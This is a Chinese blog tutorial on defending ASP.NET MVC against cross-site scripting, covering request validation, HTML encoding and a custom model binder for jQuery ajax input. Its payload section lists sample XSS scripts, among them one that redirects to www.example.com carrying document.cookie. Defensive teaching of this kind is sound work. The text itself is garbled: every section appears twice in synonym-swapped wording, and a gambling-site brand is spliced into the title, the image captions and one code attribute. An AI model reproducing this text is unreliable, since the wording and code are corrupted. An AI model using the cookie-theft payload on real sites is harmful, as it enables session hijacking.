Web安全相关,跨站脚本攻击lovebet爱博体育

简介
  跨站脚本攻击(Cross
Site Scripting),为不和层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里安排恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的卓越目的,比如获取用户的库克(Cook)ie,导航到黑心网站,辅导木马等。

简介
  跨站脚本攻击(Cross
Site Scripting),为不和层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里安顿恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的非正规目标,比如获取用户的Cookie,导航到黑心网站,辅导木马等。

一些气象

部分情况

  1.
恶意攻击者可以在私有介绍其中插入恶意代码,那么其余用户访问他的个人音讯时,就会执行恶意代码。
  2.
恶意攻击者可以公布一篇小说,取一个引发眼球的标题,在内容里安顿恶意代码,那么用户查看那篇小说时,就会举办恶意代码。
  3.
恶意攻击者在一些热点作品或帖子里的復苏或留言中插入恶意代码,那么用户浏览到他的还原或留言时,就会履行恶意代码。

  1.
恶心攻击者可以在个人介绍其中插入恶意代码,那么其余用户访问他的个人消息时,就会执行恶意代码。
  2.
黑心攻击者可以发布一篇小说,取一个吸引眼球的题目,在情节里安顿恶意代码,那么用户查看那篇小说时,就会举行恶意代码。
  3.
黑心攻击者在局地吃香小说或帖子里的復苏或留言中插入恶意代码,那么用户浏览到他的还原或留言时,就会执行恶意代码。

提防XSS的几个阶段

严防XSS的几个级次

  1.
付给数据时,就对数码举办认证,若是含有恶意脚本,则不让数据进库,ASP.NET
MVC默许是会做那些注明。如下图,倘诺准备插入恶意脚本,就会收获一个HttpRequestValidationException。注:图2藏青色框中的方法后续会提到。

  1.
交付数据时,就对数码进行验证,若是带有恶意脚本,则不让数据进库,ASP.NET
MVC默认是会做那几个讲明。如下图,固然准备插入恶意脚本,就会拿走一个HttpRequestValidationException。注:图2紫色框中的方法后续会涉及。

    
lovebet爱博体育 1

    
lovebet爱博体育 2

                  图1

                  图1

    
lovebet爱博体育 3

    
lovebet爱博体育 4

                  图2

                  图2

  如果大家须要允许脚本入库,能够在相应的Action上助长[lovebet爱博体育,ValidateInput(false)]。此时恶意脚本还不能生出要挟,因为还有后面一个等级的防患措施。

  如若大家须求允许脚本入库,可以在相应的Action上足够[ValidateInput(false)]。此时恶意脚本还不可以生出威慑,因为还有后边一个阶段的防患措施。

     
lovebet爱博体育 5

     
lovebet爱博体育 6

                  图3

                  图3

     
lovebet爱博体育 7

     
lovebet爱博体育 8

                   
图4

                   
图4

 2.
出口数据时,对输出的内容采纳HTML编码,恶意脚本不会被实施。而且,MVC的Razor语法默许就利用HTML编码。可是假使大家利用Html.Raw()来输出内容的话,恶意脚本就会生出威慑。

 2.
出口数据时,对输出的始末采纳HTML编码,恶意脚本不会被执行。而且,MVC的Razor语法默许就动用HTML编码。可是假设大家运用Html.Raw()来输出内容的话,恶意脚本就会发出要挟。

     
lovebet爱博体育 9

     
lovebet爱博体育 10

                 图5

                 图5

    
lovebet爱博体育 11

    
lovebet爱博体育 12

                 图6

                 图6

 一些恶意脚本

 一些黑心脚本

  1.
几乎的弹窗或者内容显示。
  <script>alert(‘你被黑了!’)</script>
 
  2.
导航到黑心网站。注:这里只是使用百度网站作为导航演示,并不是说百度网站是黑心网站。
   
<script>window.location.href=’http://www.baidu.com';&lt;/script&gt;
 
  3. 
获取cookies。
  <script>alert(document.cookie)</script>
  <script>window.location.href=’http://www.example.com?cookies=document.cookie';&lt;/script&gt;

  1.
简练的弹窗或者内容彰显。
  <script>alert(‘你被黑了!’)</script>
 
  2.
导航到黑心网站。注:那里只是采纳百度网站作为导航演示,并不是说百度网站是黑心网站。
   
<script>window.location.href=’http://www.baidu.com';&lt;/script&gt;
 
  3. 
获取cookies。
  <script>alert(document.cookie)</script>
  <script>window.location.href=’http://www.example.com?cookies=document.cookie';&lt;/script&gt;

 $.ajax数据印证失效?

 $.ajax数据表达失效?

  大家若是大家的要求是不允许含有恶意脚本的数据进库的,不过大家应用了jquey的ajax进行互动。

  我们如若我们的急需是差异意含有恶意脚本的数额进库的,不过大家使用了jquey的ajax进行交互。

     
lovebet爱博体育 13

     
lovebet爱博体育 14

                图7

                图7

     
lovebet爱博体育 15

     
lovebet爱博体育 16

                图8

                图8

     
lovebet爱博体育 17

     
lovebet爱博体育 18

                图9

                图9

     
lovebet爱博体育 19

     
lovebet爱博体育 20

              图10

              图10

  数据依旧进库,为何吗?大家来研商下图2红框中的方法。

  数据或者进库,为何呢?大家来商量下图2红框中的方法。

     
lovebet爱博体育 21

     
lovebet爱博体育 22

                图11

                图11

     
lovebet爱博体育 23

     
lovebet爱博体育 24

                图12

                图12

  从图12中,我揣度MVC会对Request中的以上内容展开认证,不过jquery
ajax的数码是存在Request的Content里面的,由此,默许的证实对jquery
ajax并不曾效应。

  从图12中,我臆想MVC会对Request中的以上内容举办求证,不过jquery
ajax的数码是存在Request的Content里面的,因而,默许的声明对jquery
ajax并从未效果。

 $.ajax数据表明完成

 $.ajax数据声明完毕

  要对$.ajax进行数量表明,我从ModelBinder入手。具体代码如下:

  要对$.ajax举办数量印证,我从ModelBinder出手。具体代码如下:

 1 public class AjaxModelBinder : DefaultModelBinder
 2     {
 3         protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
 4         {
 5             var contentType = controllerContext.HttpContext.Request.ContentType;
 6 
 7             if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
 8                 value is string &&
 9                 controllerContext.Controller.ValidateRequest &&
10                 bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
11             {
12                 if (IsDangerousString(value.ToString()))
13                 {
14                     throw new HttpRequestValidationException("在请求中检测到有潜在危险的值!");
15                 }
16             }
17 
18             return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
19         }
20 
21         /// <summary>
22         /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
23         /// </summary>
24         private static bool IsDangerousString(string str)
25         {
26             var startingChars = new[] { '<', '&' };
27             var startIndex = 0;
28 
29             while (true)
30             {
31                 var index = str.IndexOfAny(startingChars, startIndex);
32 
33                 if (index < 0)
34                 {
35                     return false;
36                 }
37 
38                 if (index == (str.Length - 1))
39                 {
40                     return false;
41                 }
42 
43                 var ch = str[index];
44 
45                 if (ch != '&')
46                 {
47                     if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?'))))
48                     {
49                         return true;
50                     }
51                 }
52 
53                 else if (str[index + 1] == '#')
54                 {
55                     return true;
56                 }
57 
58                 startIndex = index + 1;
59             }
60         }
61 
62         private static bool IsAtoZ(char c)
63         {
64             return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
65         }
66     }
 1 public class AjaxModelBinder : DefaultModelBinder
 2     {
 3         protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
 4         {
 5             var contentType = controllerContext.HttpContext.Request.ContentType;
 6 
 7             if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
 8                 value is string &&
 9                 controllerContext.Controller.ValidateRequest &&
10                 bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
11             {
12                 if (IsDangerousString(value.ToString()))
13                 {
14                     throw new HttpRequestValidationException("在请求中检测到有潜在危险的值!");
15                 }
16             }
17 
18             return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
19         }
20 
21         /// <summary>
22         /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
23         /// </summary>
24         private static bool IsDangerousString(string str)
25         {
26             var startingChars = new[] { '<', '&' };
27             var startIndex = 0;
28 
29             while (true)
30             {
31                 var index = str.IndexOfAny(startingChars, startIndex);
32 
33                 if (index < 0)
34                 {
35                     return false;
36                 }
37 
38                 if (index == (str.Length - 1))
39                 {
40                     return false;
41                 }
42 
43                 var ch = str[index];
44 
45                 if (ch != '&')
46                 {
47                     if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?'))))
48                     {
49                         return true;
50                     }
51                 }
52 
53                 else if (str[index + 1] == '#')
54                 {
55                     return true;
56                 }
57 
58                 startIndex = index + 1;
59             }
60         }
61 
62         private static bool IsAtoZ(char c)
63         {
64             return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
65         }
66     }

  然后在Global.asax.cs中注册AjaxModelBinder。

  然后在Global.asax.cs中注册AjaxModelBinder。

lovebet爱博体育 25

lovebet爱博体育 26

              图13

              图13

  那么,输入数据有黑心脚本时就会被检测出来。

  那么,输入数据有黑心脚本时就会被检测出来。

 lovebet爱博体育 27

 lovebet爱博体育 28

                图14

                图14

  关于AjaxModelBinder中的IsDangerousString方法,我是从.Net的源码拷贝过来的。

  关于AjaxModelBinder中的IsDangerousString方法,我是从.Net的源码拷贝过来的。

 lovebet爱博体育 29

 lovebet爱博体育 30

                  图15

                  图15

AntiXSS第三方组件

AntiXSS第三方组件

  假诺使用.Net4.0及以上的版本,那么就不须求引入AntiXSS,因为.Net
4.0曾经把AntiXSS集成进来了。尽管是其他版本则须求引入。

  倘诺使用.Net4.0及以上的本子,那么就不要求引入AntiXSS,因为.Net
4.0已经把AntiXSS集成进来了。假若是别的版本则须要引入。

源码下载

  为了方便使用,我从没选取任何数据库,而是用了一个文件来储存数据。代码下载后得以从来运行,无需配置。

  下载地址:https://github.com/ErikXu/XSS

  lovebet爱博体育 31

 

小说转发自:http://www.cnblogs.com/Erik_Xu/p/5403773.html

源码下载

  为了方便使用,我没有使用其余数据库,而是用了一个文件来储存数据。代码下载后得以直接运行,无需配置。

  下载地址:https://github.com/ErikXu/XSS

  lovebet爱博体育 32

 

作品转发自:http://www.cnblogs.com/Erik_Xu/p/5403773.html

相关文章